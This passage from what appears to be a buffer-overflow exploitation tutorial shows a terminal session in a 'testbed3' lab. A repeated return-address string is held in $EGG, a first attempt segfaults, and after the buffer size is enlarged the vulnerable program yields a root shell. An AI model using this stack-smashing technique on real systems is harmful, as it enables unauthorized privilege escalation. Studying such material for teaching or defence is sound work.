(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿
(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ
[bodo@lethalcode testbed3]$ ./vul $EGG
Segmentation fault
[bodo@lethalcode testbed3]$
First try failed. So, add another 100 bytes for the buffer size. Repeat the previous steps.
[bodo@lethalcode testbed3]$ ./exploit 712
Using the address: BFFFF7D8
The offset is: 0
The buffer size is: 2c8
[bodo@lethalcode testbed3]$ ./vul $EGG
sh-3.00# whoami
root
sh-3.00# id
uid=0(root) gid=502(bodo) groups=502(bodo) context=user_u:system_r:unconfined_t
sh-3.00# su -
[root@lethalcode ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t
Well, we got root in our second try and our exploit code can be longer. Yihaaaaaaaaaaaaaaaaaaaaaa!!!!
CLICK HERE